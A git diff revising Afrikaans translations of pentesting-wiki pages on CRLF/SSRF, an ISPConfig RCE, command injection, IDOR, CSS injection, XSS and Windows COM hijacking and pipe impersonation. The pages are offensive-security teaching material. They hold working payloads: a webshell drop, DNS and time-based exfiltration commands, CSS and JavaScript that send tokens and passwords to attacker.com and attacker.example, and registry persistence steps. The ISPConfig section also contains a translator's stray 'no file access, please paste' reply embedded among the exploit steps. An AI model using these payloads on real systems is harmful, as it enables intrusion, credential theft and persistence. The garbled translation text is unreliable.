``` -Dit is moontlik om daartoe toegang te kry deur die `Content-Type` op `server-status` te stel en die `Location`-header te laat begin met `/`. +Dit is moontlik om toegang daartoe te kry deur die `Content-Type` op `server-status` te stel en die Location-header te laat begin met `/`. ``` http://server/cgi-bin/redir.cgi?r=http:// %0d%0a Location:/ooo %0d%0a @@ -234,7 +234,7 @@ Content-Type:server-status %0d%0a ``` #### **Arbitrary Handler to Full SSRF** -Herlei na `mod_proxy` om toegang tot enige protokol op enige URL te kry: +Om na `mod_proxy` te herlei om toegang tot enige protokol op enige URL te kry: ``` http://server/cgi-bin/redir.cgi?r=http://%0d%0a Location:/ooo %0d%0a @@ -243,11 +243,11 @@ http://example.com/%3F %0d%0a %0d%0a ``` -Echter, die `X-Forwarded-For` header word bygevoeg, wat toegang tot cloud metadata endpoints verhoed. +Echter word die `X-Forwarded-For` header bygevoeg, wat toegang tot cloud metadata endpoints verhinder. -#### **Arbitrêre handler om toegang tot plaaslike Unix Domain Socket te kry** +#### **Arbitrêre Handler om toegang tot die plaaslike Unix Domain Socket te kry** -Kry toegang tot PHP-FPM se plaaslike Unix Domain Socket om 'n PHP backdoor in `/tmp/` uit te voer: +Kry toegang tot PHP-FPM se plaaslike Unix Domain Socket om 'n PHP backdoor wat in `/tmp/` geleë is, uit te voer: ``` http://server/cgi-bin/redir.cgi?r=http://%0d%0a Location:/ooo %0d%0a @@ -256,7 +256,7 @@ Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/tmp/ooo.php %0d%0 ``` #### **Arbitrary Handler to RCE** -Die amptelike [PHP Docker](https://hub.docker.com/_/php) image sluit PEAR (`Pearcmd.php`) in, 'n command-line PHP-pakketbestuursinstrument wat misbruik kan word om RCE te verkry: +Die amptelike [PHP Docker](https://hub.docker.com/_/php) image sluit PEAR (`Pearcmd.php`) in, 'n command-line PHP pakketbestuursinstrument, wat misbruik kan word om RCE te verkry: ``` http://server/cgi-bin/redir.cgi?r=http://%0d%0a Location:/ooo? %2b run-tests %2b -ui %2b $(curl${IFS} diff --git a/src/network-services-pentesting/pentesting-web/ispconfig.md b/src/network-services-pentesting/pentesting-web/ispconfig.md index d9efe516f..446ec04ff 100644 --- a/src/network-services-pentesting/pentesting-web/ispconfig.md +++ b/src/network-services-pentesting/pentesting-web/ispconfig.md @@ -4,36 +4,36 @@ ## Oorsig -ISPConfig is 'n open-source hosting beheerpaneel. Ouer 3.2.x builds het 'n taal-lêerredigeerderfunksie gehad wat, wanneer dit vir die super administrator geaktiveer is, willekeurige PHP-kode-inspuiting toegelaat het via 'n foutiewe vertalingsrekord. Dit kan RCE in die webbediener-konteks lewer en, afhangend van hoe PHP uitgevoer word, privilege escalation. +ISPConfig is 'n open-source hosting beheerpaneel. Ouer 3.2.x weergawes het 'n taallêer-redigeerderfunksie gehad wat, wanneer geaktiveer vir die superbeheerder, arbitraire PHP-kode-inspuiting moontlik gemaak het deur 'n verkeerd gevormde vertalingsrekord. Dit kan RCE in die webbediener-konteks lewer en, afhangend van hoe PHP uitgevoer word, privilege escalation. -Belangrike standaardpaaie: -- Web root is dikwels by `/var/www/ispconfig` wanneer dit met `php -S` of via Apache/nginx bedien word. -- Admin UI is bereikbaar op die HTTP(S) vhost (soms slegs aan localhost gebind; gebruik SSH port-forward indien nodig). +Belangrike standaardpade: +- Web root dikwels by `/var/www/ispconfig` wanneer dit bedien word met `php -S` of via Apache/nginx. +- Admin UI bereikbaar op die HTTP(S) vhost (soms slegs aan localhost gebind; gebruik SSH port-forward indien nodig). -Wenk: As die paneel plaaslik gebind is (bv. `127.0.0.1:8080`), port-forward dit: +Wenk: As die paneel plaaslik gebind is (bv. `127.0.0.1:8080`), forward dit: ```bash ssh -L 9001:127.0.0.1:8080 user@target # then browse http://127.0.0.1:9001 ``` -## Language editor PHP code injection (CVE-2023-46818) +## Taalredigeerder PHP code injection (CVE-2023-46818) - Geaffekteer: ISPConfig up to 3.2.11 (fixed in 3.2.11p1) - Voorvereistes: -- Meld aan as die ingeboude superadmin-rekening `admin` (ander rolle word nie geraak volgens die verskaffer nie) +- Login as the built-in superadmin account `admin` (other roles are not affected according to the verskaffer) - Taalredigeerder moet geaktiveer wees: `admin_allow_langedit=yes` in `/usr/local/ispconfig/security/security_settings.ini` -- Impak: Geverifieerde admin kan ewekansige PHP inspuit wat in 'n taal-lêer geskryf en deur die toepassing uitgevoer word, wat RCE in die web-konteks bewerkstellig +- Impak: Geverifieerde admin kan arbitrêre PHP injekteer wat in 'n taal-lêer geskryf en deur die toepassing uitgevoer word, wat RCE in die web-konteks bewerkstellig -References: NVD entry CVE-2023-46818 and vendor advisory link in the References section below. +Verwysings: NVD entry CVE-2023-46818 and verskaffer advisory link in the References section below. -### Handmatige uitbuitingsvloei +### Handmatige uitbuitingvloei 1) Open/create a language file to obtain CSRF tokens -Stuur 'n eerste POST om die vorm te initialiseer en ontleed die CSRF-velde uit die HTML-antwoord (`csrf_id`, `csrf_key`). Example request path: `/admin/language_edit.php`. +Stuur 'n eerste POST om die vorm te inisialiseer en parseeer die CSRF-velde uit die HTML-antwoord (`csrf_id`, `csrf_key`). Example request path: `/admin/language_edit.php`. 2) Inject PHP via records[] and save -Dien 'n tweede POST in wat die CSRF-velde en 'n kwaadwillige vertaalrekord insluit. Minimale opdrag-uitvoerings toetse: +Dien 'n tweede POST in wat die CSRF-velde en 'n kwaadwillige vertaalrekord insluit. Minimal command-execution toetse: ```http POST /admin/language_edit.php HTTP/1.1 Host: 127.0.0.1:9001 @@ -42,13 +42,13 @@ Cookie: ispconfig_auth=... lang=en&module=admin&file=messages&csrf_id=&csrf_key=&records[]= ``` -Out-of-band toets (hou ICMP dop): +Out-of-band-toets (waarneming van ICMP): ```http records[]= ``` 3) Skryf lêers en plaas 'n webshell -Gebruik `file_put_contents` om 'n lêer te skep onder 'n web-bereikbare pad (bv., `admin/`): +Gebruik `file_put_contents` om 'n lêer te skep onder 'n web-toeganklike pad (bv., `admin/`): ```http records[]= ``` @@ -56,15 +56,15 @@ Skryf dan 'n eenvoudige webshell wat base64 gebruik om slegte karakters in die P ```http records[]= ``` -Ek het nie toegang tot jou lêers nie. Plak asseblief die inhoud van src/network-services-pentesting/pentesting-web/ispconfig.md hier, en ek sal dit na Afrikaans vertaal terwyl ek alle markdown-, HTML-tags, skakels, paaie en kode ongewysig laat. +Ek het nie toegang tot jou lêerstelsel nie. Stuur asseblief die inhoud van src/network-services-pentesting/pentesting-web/ispconfig.md wat jy wil hê ek moet vertaal (of plak die gedeelte). ```bash curl 'http://127.0.0.1:9001/admin/shell.php?cmd=id' ``` -As PHP uitgevoer word as root (bv. via `php -S 127.0.0.1:8080` wat deur root begin is), lei dit tot onmiddellike root RCE. Andersins kry jy kode-uitvoering as die webbediener-gebruiker. +As PHP as root uitgevoer word (bv. via `php -S 127.0.0.1:8080` begin deur root), lewer dit onmiddellik root RCE. Andersins kry jy kode-uitvoering as die webbediener-gebruiker. ### Python PoC -'n klaar-vir-gebruik exploit outomatiseer tokenhantering en payload-aflewering: +'n gereed-vir-gebruik exploit outomatiseer token-hantering en payload-aflewering: - [https://github.com/bipbopbup/CVE-2023-46818-python-exploit](https://github.com/bipbopbup/CVE-2023-46818-python-exploit) Voorbeelduitvoering: @@ -74,11 +74,11 @@ python3 cve-2023-46818.py http://127.0.0.1:9001 admin ### Verharding - Opgradeer na 3.2.11p1 of 'n later weergawe -- Skakel die taalredigeerder uit tensy dit absoluut nodig is: +- Skakel die taalredigeerder af tensy dit absoluut nodig is: ``` admin_allow_langedit=no ``` -- Vermy om die paneel as root te laat loop; konfigureer PHP-FPM of die webbediener om bevoegdhede te verlaag +- Vermy om die paneel as root te laat loop; konfigureer PHP-FPM of die webbediener om privileges te drop - Handhaaf sterk outentisering vir die ingeboude `admin`-rekening ## Verwysings diff --git a/src/pentesting-web/command-injection.md b/src/pentesting-web/command-injection.md index 2e5b4989c..ccf4b57e9 100644 --- a/src/pentesting-web/command-injection.md +++ b/src/pentesting-web/command-injection.md @@ -2,13 +2,13 @@ {{#include ../banners/hacktricks-training.md}} -## What is command Injection? +## Wat is command Injection? -A **command injection** laat 'n aanvaller toe om arbitrêre bedryfstelsel-kommando's op die bediener wat 'n toepassing huisves, uit te voer. Gevolglik kan die toepassing en al sy data volledig gekompromitteer word. Die uitvoering van hierdie kommando's stel die aanvaller gewoonlik in staat om ongemagtigde toegang of beheer oor die toepassing se omgewing en die onderliggende stelsel te verkry. +A **command injection** laat die uitvoering van ewekansige bedryfstelsel-opdragte toe deur 'n aanvaller op die bediener wat 'n toepassing huisves. Daardeur kan die toepassing en al sy data volledig gekompromitteer word. Die uitvoering van hierdie opdragte stel die aanvaller gewoonlik in staat om ongemagtigde toegang of beheer oor die toepassing se omgewing en onderliggende stelsel te verkry. -### Context +### Konteks -Afhangend van **waar jou invoer ingespuit word** mag dit nodig wees om die **aangehaalde konteks te beëindig** (met `"` of `'`) voordat die kommando's uitgevoer word. +Afhangend van **waar jou input ingespuit word** mag jy die **aangehaalde konteks beëindig** (met `"` of `'`) voordat jy die opdragte uitvoer. ## Command Injection/Execution ```bash @@ -30,9 +30,9 @@ ls${LS_COLORS:10:1}${IFS}id # Might be useful > /var/www/html/out.txt #Try to redirect the output to a file < /etc/passwd #Try to send some input to the command ``` -### **Limition** Bypasses +### **Beperking** Bypasses -As jy probeer om **arbitrary commands inside a linux machine** uit te voer, sal jy belangstel om te lees oor hierdie **Bypasses:** +As jy probeer om **arbitrêre opdragte binne 'n linux-masjien** uit te voer, sal jy belangstel om oor hierdie **Bypasses** te lees: {{#ref}} @@ -47,7 +47,7 @@ vuln=echo PAYLOAD > /tmp/pay.txt; cat /tmp/pay.txt | base64 -d > /tmp/pay; chmod ``` ### Parameters -Hier is die top 25 parameters wat kwesbaar kan wees vir code injection en soortgelyke RCE-kwetsbaarhede (van [link](https://twitter.com/trbughunters/status/1283133356922884096)): +Hier is die top 25 parameters wat kwesbaar kan wees vir code injection en soortgelyke RCE vulnerabilities (van [link](https://twitter.com/trbughunters/status/1283133356922884096)): ``` ?cmd={payload} ?exec={payload} @@ -77,7 +77,7 @@ Hier is die top 25 parameters wat kwesbaar kan wees vir code injection en soortg ``` ### Time based data exfiltration -Uittrek van data: char vir char +Uittreksel van data: karakter vir karakter ``` swissky@crashlab▸ ~ ▸ $ time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi real 0m5.007s @@ -91,7 +91,7 @@ sys 0m0.000s ``` ### DNS based data exfiltration -Gebaseer op die tool vanaf `https://github.com/HoLyVieR/dnsbin` ook aangebied op dnsbin.zhack.ca +Gebaseer op die tool vanaf `https://github.com/HoLyVieR/dnsbin` wat ook gehost word op dnsbin.zhack.ca ``` 1. Go to http://dnsbin.zhack.ca/ 2. Execute a simple 'ls' @@ -101,12 +101,12 @@ for i in $(ls /) ; do host "$i.3a43c7e4e57a8d0e2057.d.zhack.ca"; done ``` $(host $(wget -h|head -n1|sed 's/[ ,]/-/g'|tr -d '.').sudo.co.il) ``` -Aanlyn-gereedskap om te kontroleer vir DNS-gebaseerde data exfiltration: +Aanlyn gereedskap om vir DNS based data exfiltration te toets: - dnsbin.zhack.ca - pingb.in -### Omseiling van filtrering +### Filtrering-omseiling #### Windows ``` @@ -130,9 +130,9 @@ exec(`/usr/bin/do-something --id_user ${id_user} --payload '${JSON.stringify(pay /* … */ }); ``` -`exec()` spawns a **shell** (`/bin/sh -c`), daarom sal enige karakter wat 'n spesiale betekenis vir die shell het (back-ticks, `;`, `&&`, `|`, `$()`, …) lei tot **command injection** wanneer gebruikersinvoer in die string gekonkateer word. +`exec()` skep 'n **shell** (`/bin/sh -c`), daarom sal enige karakter wat 'n spesiale betekenis vir die shell het (back-ticks, `;`, `&&`, `|`, `$()`, …) lei tot **command injection** wanneer gebruikersinvoer in die string gekonkateneer word. -**Mitigation:** gebruik `execFile()` (of `spawn()` sonder die `shell` opsie) en verskaf **elke argument as 'n aparte array-element** sodat geen shell betrokke is: +**Mitigering:** gebruik `execFile()` (of `spawn()` sonder die `shell` opsie) en voorsien **elke argument as 'n afsonderlike array-element** sodat geen shell betrokke is nie: ```javascript const { execFile } = require('child_process'); execFile('/usr/bin/do-something', [ @@ -140,9 +140,9 @@ execFile('/usr/bin/do-something', [ '--payload', JSON.stringify(payload) ]); ``` -Werklike geval: *Synology Photos* ≤ 1.7.0-0794 was uitbuitbaar deur 'n ongeauthentiseerde WebSocket-gebeurtenis wat deur die aanvaller beheerde data in `id_user` geplaas het, wat later in 'n `exec()`-oproep ingesluit is en RCE bereik het (Pwn2Own Ireland 2024). +Werklike geval: *Synology Photos* ≤ 1.7.0-0794 was deur 'n ongeverifieerde WebSocket-gebeurtenis uitgebuit wat deur die aanvaller beheerde data in `id_user` geplaas het, wat later in 'n `exec()`-oproep ingesluit is, wat RCE tot gevolg gehad het (Pwn2Own Ireland 2024). -## Brute-Force detectielys +## Brute-Force Opsporingslys {{#ref}} diff --git a/src/pentesting-web/idor.md b/src/pentesting-web/idor.md index 3c61bd30a..bffc49e17 100644 --- a/src/pentesting-web/idor.md +++ b/src/pentesting-web/idor.md @@ -2,8 +2,8 @@ {{#include ../banners/hacktricks-training.md}} -IDOR (Insecure Direct Object Reference) / Broken Object Level Authorization (BOLA) verskyn wanneer 'n web of API-endpoint 'n gebruiker-beheerbare identifiseerder openbaar of aanvaar wat **direk** gebruik word om toegang te kry tot 'n interne objek **sonder om te verifieer dat die oproeper gemagtig is** om daardie objek te toegang/wysig. -Suksesvolle uitbuiting laat gewoonlik horizontale of vertikale privilege-escalation toe, soos om ander gebruikers se data te lees of te wysig en, in die ergste geval, volledige rekeningoorname of mass-data exfiltration. +IDOR (Insecure Direct Object Reference) / Broken Object Level Authorization (BOLA) verskyn wanneer 'n web- of API-endpoint 'n deur gebruiker beheerbare identifiseerder openbaar of aanvaar wat **direk** gebruik word om 'n interne objek te bereik **sonder om te verifieer dat die oproeper gemagtig is** om toegang tot daardie objek te kry of dit te wysig. +Suksesvolle uitbuiting laat gewoonlik horizontal of vertical privilege-escalation toe, soos om ander gebruikers se data te lees of te wysig en, in die ergste geval, volledige account takeover of mass-data exfiltration. --- ## 1. Identifisering van potensiële IDORs @@ -13,10 +13,10 @@ Suksesvolle uitbuiting laat gewoonlik horizontale of vertikale privilege-escalat * Query: `?id=42`, `?invoice=2024-00001` * Body / JSON: `{"user_id": 321, "order_id": 987}` * Headers / Cookies: `X-Client-ID: 4711` -2. Verkies endpoints wat **lees of opdateer** data (`GET`, `PUT`, `PATCH`, `DELETE`). -3. Let wanneer identifiseerders **opeenvolgend of voorspelbaar** is – as jou ID `64185742` is, bestaan `64185741` waarskynlik. -4. Verken versteekte of alternatiewe vloei (bv. *"Paradox team members"* skakel op login-bladsye) wat ekstra APIs kan blootstel. -5. Gebruik 'n **geauthentiseerde laag-privilege sessie** en verander slegs die ID terwyl jy **dieselfde token/cookie** behou. Die afwesigheid van 'n authorization error is gewoonlik 'n teken van IDOR. +2. Gee voorkeur aan endpoints wat **data lees of bywerk** (`GET`, `PUT`, `PATCH`, `DELETE`). +3. Merk wanneer identifiseerders **opvolgend of voorspelbaar** is – as jou ID is `64185742`, dan bestaan `64185741` waarskynlik. +4. Verken verborge of alternatiewe flows (bv. *"Paradox team members"* link in login pages) wat ekstra APIs kan openbaar. +5. Gebruik 'n **geauthentiseerde lae-privilege sessie** en verander slegs die ID **terwyl dieselfde token/cookie behou word**. Die afwesigheid van 'n autorisasie fout is gewoonlik 'n teken van IDOR. ### Vinnige handmatige manipulasie (Burp Repeater) ``` @@ -43,28 +43,28 @@ done Wanneer 'n download endpoint beide 'n username en 'n filename aanvaar (bv. `/view.php?username=&file=`), skep subtiele verskille in foutboodskappe dikwels 'n oracle: - Nie-bestaande username → "User not found" -- Slegte filename maar geldige extensie → "File does not exist" (soms lys dit ook beskikbare lêers) -- Slegte extensie → valideringsfout +- Slegte filename maar geldige extension → "File does not exist" (soms word beskikbare files ook gelys) +- Slegte extension → validation error -Met enige geverifieerde sessie kan jy die username-parameter fuzz terwyl jy 'n onskadelike filename gebruik en filter op die "user not found" string om geldige gebruikers te ontdek: +Met enige authenticated session kan jy die username-parameter fuzz terwyl jy 'n onskadelike filename hou en filter op die "User not found"-string om geldige gebruikers te ontdek: ```bash ffuf -u 'http://target/view.php?username=FUZZ&file=test.doc' \ -b 'PHPSESSID=' \ -w /opt/SecLists/Usernames/Names/names.txt \ -fr 'User not found' ``` -Sodra geldige gebruikersname geïdentifiseer is, versoek spesifieke lêers direk (bv., `/view.php?username=amanda&file=privacy.odt`). Hierdie patroon lei gewoonlik tot ongemagtigde openbaarmaking van ander gebruikers se dokumente en credential leakage. +Sodra geldige gebruikersname geïdentifiseer is, versoek spesifieke lêers direk (bv. `/view.php?username=amanda&file=privacy.odt`). Hierdie patroon lei dikwels tot ongemagtigde openbaarmaking van ander gebruikers se dokumente en credential leakage. --- -## 2. Werklike Gevallestudie – McHire Chatbot Platform (2025) +## 2. Werklike gevallestudie – McHire Chatbot-platform (2025) -Tydens 'n assessering van die Paradox.ai-powered **McHire** werwingsportaal is die volgende IDOR ontdek: +Tydens 'n assessering van die Paradox.ai-aangedrewe **McHire** werwingsportaal is die volgende IDOR ontdek: -* Eindpunt: `PUT /api/lead/cem-xhr` -* Autorisasie: gebruikersessie-cookie vir **enige** restaurant-toetsrekening -* Body-parameter: `{"lead_id": N}` – 8-syfer, **opeenvolgende** numeriese identifiseerder +* Endpoint: `PUT /api/lead/cem-xhr` +* Authorization: user session cookie vir **enige** restaurant-toetsrekening +* Body parameter: `{"lead_id": N}` – 8-syfer, **sekwensiële** numeriese identifiseerder -Deur die `lead_id` te verlaag het die tester arbitrêre aansoekers se **volledige PII** (naam, e-pos, telefoon, adres, skofvoorkeure) en 'n verbruiker **JWT** wat session hijacking toegelaat het, verkry. Enumeration van die reeks `1 – 64,185,742` het ongeveer **64 miljoen** rekords blootgestel. +Deur `lead_id` te verlaag het die toetser willekeurige aansoekers se **full PII** (naam, e-pos, telefoon, adres, skofvoorkeure) plus 'n verbruikers **JWT** wat session hijacking toegelaat het, opgehaal. Enumerasie van die reeks `1 – 64,185,742` het omtrent **64 miljoen** rekords blootgestel. Proof-of-Concept request: ```bash @@ -72,23 +72,23 @@ curl -X PUT 'https://www.mchire.com/api/lead/cem-xhr' \ -H 'Content-Type: application/json' \ -d '{"lead_id":64185741}' ``` -Combined with **standaard admin-kredensiale** (`123456:123456`) wat toegang tot die toetsrekening verleen het, het die kwesbaarheid gelei tot 'n kritieke, maatskappy-wye data-oortreding. +In kombinasie met **default admin credentials** (`123456:123456`) wat toegang tot die toetsrekening gegee het, het die kwesbaarheid gelei tot 'n kritieke, maatskappy-wye datalek. --- ## 3. Impak van IDOR / BOLA -* Horizontale eskalasie – lees/bewerk/verwyder **ander gebruikers** se data. -* Vertikale eskalasie – 'n lae-geregtheidsgebruiker kry administrateur-slegs funksionaliteit. -* Massiewe datalek as identifiseerders opeenvolgend is (bv., aansoeker-ID's, fakture). -* Rekeningsoorname deur tokens te steel of wagwoorde van ander gebruikers terug te stel. +* Horisontale eskalasie – lees/werk by/verwyder **ander gebruikers se** data. +* Vertikale eskalasie – 'n gebruiker met lae voorregte verkry admin-only funksionaliteit. +* Massiewe data breach as identifiseerders opeenvolgend is (bv. aansoeker-ID's, fakture). +* Rekeningoorname deur tokens te steel of wagwoorde van ander gebruikers te reset. --- -## 4. Mitigering & Beste praktyke -1. **Dwing voorwerpniveau-autorisering af** op elke versoek (`user_id == session.user`). -2. Gebruik verkieslik **indirekte, onraai-bare identifiseerders** (UUIDv4, ULID) in plaas van auto-increment IDs. -3. Voer autorisering **server-side** uit; vertrou nooit op versteekte formvelde of UI-beheer nie. +## 4. Mitigasies & Beste praktyke +1. **Dwing object-vlak autorisasie af** op elke versoek (`user_id == session.user`). +2. Beveel **indirekte, onraai-bare identifiseerders** aan (UUIDv4, ULID) in plaas van auto-increment IDs. +3. Voer autorisasie **server-side** uit; vertrou nooit op versteekte formvelde of UI-behelsels nie. 4. Implementeer **RBAC / ABAC** kontroles in 'n sentrale middleware. -5. Voeg **rate-limiting & logging** by om ID-enumerasie te ontdek. -6. Sekuriteitstoets elke nuwe endpoint (unit, integrasie, en DAST). +5. Voeg **rate-limiting & logging** by om enumerasie van ID's op te spoor. +6. Sekuriteitstoets elke nuwe endpoint (unit, integration, en DAST). --- ## 5. Gereedskap diff --git a/src/pentesting-web/xs-search/css-injection/README.md b/src/pentesting-web/xs-search/css-injection/README.md index 94f9a1186..08bc845c5 100644 --- a/src/pentesting-web/xs-search/css-injection/README.md +++ b/src/pentesting-web/xs-search/css-injection/README.md @@ -4,9 +4,9 @@ ## CSS Injection -### Attribute Selector +### Attribuut-selekteerder -CSS selectors word ontwerp om ooreen te stem met die waardes van 'n `input`-element se `name` en `value` attribuutte. As die `value`-attribuut van die `input`-element begin met 'n spesifieke karakter, word 'n voorafbepaalde eksterne hulpbron gelaai: +CSS selectors word saamgestel om waardes van 'n `input`-element se `name`- en `value`-attribuute te ooreenstem. As die `value`-attribuut van die `input`-element met 'n spesifieke karakter begin, word 'n voorafbepaalde eksterne hulpbron gelaai: ```css input[name="csrf"][value^="a"] { background-image: url(https://attacker.com/exfil/a); @@ -19,30 +19,30 @@ input[name="csrf"][value^="9"] { background-image: url(https://attacker.com/exfil/9); } ``` -Hierdie benadering stuit egter op 'n beperking wanneer dit by versteekte input-elemente (`type="hidden"`) kom, omdat versteekte elemente nie agtergronde laai nie. +Hierdie benadering stuit egter op 'n beperking wanneer daar met versteekte input-elemente (`type="hidden"`) gewerk word, omdat versteekte elemente nie agtergronde laai nie. #### Omseiling vir versteekte elemente -Om hierdie beperking te omseil, kan jy 'n daaropvolgende sibling-element teiken deur die `~` general sibling combinator te gebruik. Die CSS-reël pas dan toe op alle sibling-elemente wat op die versteekte input-element volg, wat veroorsaak dat die agtergrondbeeld gelaai word: +Om hierdie beperking te omseil, kan jy 'n daaropvolgende sibling-element teiken deur die `~` general sibling combinator te gebruik. Die CSS-reël word dan op alle sibling-elemente toegepas wat na die versteekte input-element volg, wat veroorsaak dat die agtergrondbeeld gelaai word: ```css input[name="csrf"][value^="csrF"] ~ * { background-image: url(https://attacker.com/exfil/csrF); } ``` -’n Praktiese voorbeeld van die uitbuiting van hierdie tegniek word in die verskafte kodefragment uiteengesit. Jy kan dit sien [here](https://gist.github.com/d0nutptr/928301bde1d2aa761d1632628ee8f24e). +'n Praktiese voorbeeld van die uitbuiting van hierdie tegniek word in die verskafde kodefragment uiteengesit. Jy kan dit [here](https://gist.github.com/d0nutptr/928301bde1d2aa761d1632628ee8f24e). -#### Voorvereistes vir CSS Injection +#### Vereistes vir CSS Injection -Vir die CSS Injection-tegniek om effektief te wees, moet sekere voorwaardes nagekom word: +Vir die CSS Injection-tegniek om effektief te wees, moet sekere voorwaardes vervul wees: -1. **Payload Length**: Die CSS injection vektor moet voldoende lang payloads ondersteun om die vervaardigde selectors te akkommodeer. -2. **CSS Re-evaluation**: Jy moet die vermoë hê om die bladsy te frame, wat nodig is om die her-evaluering van CSS met nuut-gegenereerde payloads te trigger. -3. **External Resources**: Die tegniek gaan uit van die vermoë om externally hosted images te gebruik. Dit kan deur die webwerf se Content Security Policy (CSP) beperk word. +1. **Payload Length**: Die CSS-inspuiting-vektor moet genoegsaam lang payloads ondersteun om die vervaardigde selectors te akkommodeer. +2. **CSS Re-evaluation**: Jy moet die vermoë hê om die bladsy in 'n raam te plaas, wat nodig is om die her-evaluering van CSS met nuutgegenereerde payloads te veroorsaak. +3. **External Resources**: Die tegniek veronderstel die vermoë om eksterne gehoste beelde te gebruik. Dit mag beperk word deur die webwerf se Content Security Policy (CSP). -### Blind Attribute Selector +### Blind Attribuut Selekteerder -As [**explained in this post**](https://portswigger.net/research/blind-css-exfiltration), is dit moontlik om die selectors **`:has`** en **`:not`** te kombineer om inhoud te identifiseer selfs van blind elemente.\ -Dit is ook moontlik om daardie selectors te gebruik om inligting te onttrek uit verskeie blokke van dieselfde tipe, soos in: +As [**explained in this post**](https://portswigger.net/research/blind-css-exfiltration), it's possible to combine the selectors **`:has`** and **`:not`** to identify content even from blind elements. This is very useful when you have no idea what is inside the web page loading the CSS injection.\ +It's also possible to use those selectors to extract information from several block of the same type like in: ```html ``` -### Auto-fill wagwoordvaslegging +### Vasvang van Auto-fill passwords ```javascript Username:
@@ -1420,11 +1422,11 @@ mode: 'no-cors', body:username.value+':'+this.value });"> ``` -Wanneer enige data in die password-veld ingevoer word, word die username en password na die attackers server gestuur; selfs as die kliënt 'n gestoor password kies en niks intik nie, sal die credentials ge-exfiltrateer word. +Wanneer enige data in die password field ingevoer word, word die username en password na die attackers server gestuur — selfs as die kliënt 'n saved password kies en niks tik nie, sal die credentials ex-filtrated word. ### Hijack form handlers to exfiltrate credentials (const shadowing) -As 'n kritieke handler (bv., `function DoLogin(){...}`) later op die bladsy verklaar word, en jou payload vroeër loop (bv., via 'n inline JS-in-JS sink), definieer eers 'n `const` met dieselfde naam om die handler vooraf te gryp en te sluit. Latere function declarations kan nie 'n `const`-naam herbinde nie, wat jou hook in beheer laat: +As 'n kritieke handler (bv., `function DoLogin(){...}`) later in die bladsy gedeclareer word, en jou payload vroeër uitgevoer word (bv., via 'n inline JS-in-JS sink), definieer eers 'n `const` met dieselfde naam om die handler te voorkom en te vergrendel. Later funksie-deklarasies kan nie 'n `const`-naam herbinde nie, en laat jou hook in beheer: ```javascript const DoLogin = () => { const pwd = Trim(FormInput.InputPassword.value); @@ -1432,14 +1434,14 @@ const user = Trim(FormInput.InputUtente.value); fetch('https://attacker.example/?u='+encodeURIComponent(user)+'&p='+encodeURIComponent(pwd)); }; ``` -Notes -- Dit berus op die uitvoeringsorde: jou injection moet uitgevoer word voordat die legitieme deklarasie. -- As jou payload in `eval(...)` ingesluit is, sal `const/let` bindings nie globals word nie. Gebruik die dinamiese ` ``` -### Steel PostMessage-boodskappe +### Diefstal van PostMessage-boodskappe ```html ``` -4) Aktivering – om IE te open, 'n toepassing wat die WebBrowser control inkorporeer, of selfs normale Explorer-aktiwiteit sal die TypeLib laai en die scriptlet uitvoer, en jou ketting by aanmelding/herbegin heraktiveer. +4) Aktivering – die opening van IE, 'n toepassing wat die WebBrowser control inkorporeer, of selfs gewone Explorer-aktiwiteit sal die TypeLib laai en die scriptlet uitvoer, en jou ketting by aanmelding/herbegin herbewapen. -Opruiming +Opschoning ```powershell # Remove the per-user TypeLib hijack Remove-Item -Recurse -Force "HKCU:Software\\Classes\\TypeLib\\$libid\\$ver" 2>$null # Delete the dropped scriptlet Remove-Item -Force 'C:\\ProgramData\\Udate_Srv.sct' 2>$null ``` -Notas -- Jy kan dieselfde logika op ander hoëfrekwensie COM-komponente toepas; los altyd eers die werklike `LIBID` op vanaf `HKCR\CLSID\{CLSID}\TypeLib`. -- Op 64-bit stelsels kan jy ook die `win64` subsleutel vir 64-bit verbruikers invul. +Notes +- Jy kan dieselfde logika toepas op ander veelgebruikte COM-komponente; los altyd eers die werklike `LIBID` vanaf `HKCR\CLSID\{CLSID}\TypeLib` op. +- Op 64-bit stelsels kan jy ook die `win64` subsleutel invul vir 64-bit verbruikers. ## Verwysings diff --git a/src/windows-hardening/windows-local-privilege-escalation/named-pipe-client-impersonation.md b/src/windows-hardening/windows-local-privilege-escalation/named-pipe-client-impersonation.md index d626a683f..a3849904e 100644 --- a/src/windows-hardening/windows-local-privilege-escalation/named-pipe-client-impersonation.md +++ b/src/windows-hardening/windows-local-privilege-escalation/named-pipe-client-impersonation.md @@ -2,27 +2,27 @@ {{#include ../../banners/hacktricks-training.md}} -Named Pipe client impersonation is 'n lokale privilege-eskalasie-primitive wat 'n named-pipe server-thread toelaat om die sekuriteitskonteks van 'n kliënt wat daaraan koppel, aan te neem. In die praktyk kan 'n aanvaller wat kode met SeImpersonatePrivilege kan uitvoer 'n bevoorregte kliënt (bv. 'n SYSTEM-diens) dwing om met 'n aanvaller-beheerde pipe te koppel, ImpersonateNamedPipeClient aanroep, die resulterende token na 'n primary token dupliseer, en 'n proses as die kliënt spawn (dikwels NT AUTHORITY\SYSTEM). +Named Pipe client impersonation is 'n local privilege escalation primitive wat 'n named-pipe server-draad toelaat om die sekuriteitskonteks van 'n kliënt wat daaraan koppel aan te neem. In praktyk kan 'n aanvaller wat kode kan uitvoer met SeImpersonatePrivilege 'n bevoorregte kliënt (bv. 'n SYSTEM-diens) dwing om aan 'n aanvaller-beheerde pipe te koppel, ImpersonateNamedPipeClient aan te roep, die resulterende token te dupliseer in 'n primêre token, en 'n proses as die kliënt te spawn (dikwels NT AUTHORITY\SYSTEM). -Hierdie bladsy fokus op die kerntegniek. Vir end-to-end exploit chains wat SYSTEM na jou pipe dwing, sien die Potato family bladsye hieronder. +Hierdie bladsy fokus op die kerntegniek. Vir end-to-end exploit chains wat SYSTEM na jou pipe dwing, sien die Potato family pages hieronder verwys. ## TL;DR - Skep 'n named pipe: \\.\pipe\ en wag vir 'n verbinding. - Laat 'n bevoorregte komponent daaraan koppel (spooler/DCOM/EFSRPC/etc.). -- Lees ten minste een boodskap van die pipe, en roep dan ImpersonateNamedPipeClient aan. -- Maak die impersonation-token van die huidige thread oop, DuplicateTokenEx(TokenPrimary), en gebruik CreateProcessWithTokenW/CreateProcessAsUser om 'n SYSTEM-proses te kry. +- Lees ten minste een boodskap vanaf die pipe, roep dan ImpersonateNamedPipeClient aan. +- Open die impersonation token van die huidige draad, DuplicateTokenEx(TokenPrimary), en gebruik CreateProcessWithTokenW/CreateProcessAsUser om 'n SYSTEM-proses te kry. -## Vereistes en sleutel-APIs -- Privilegies wat tipies deur die oproepende proses/thread benodig word: -- 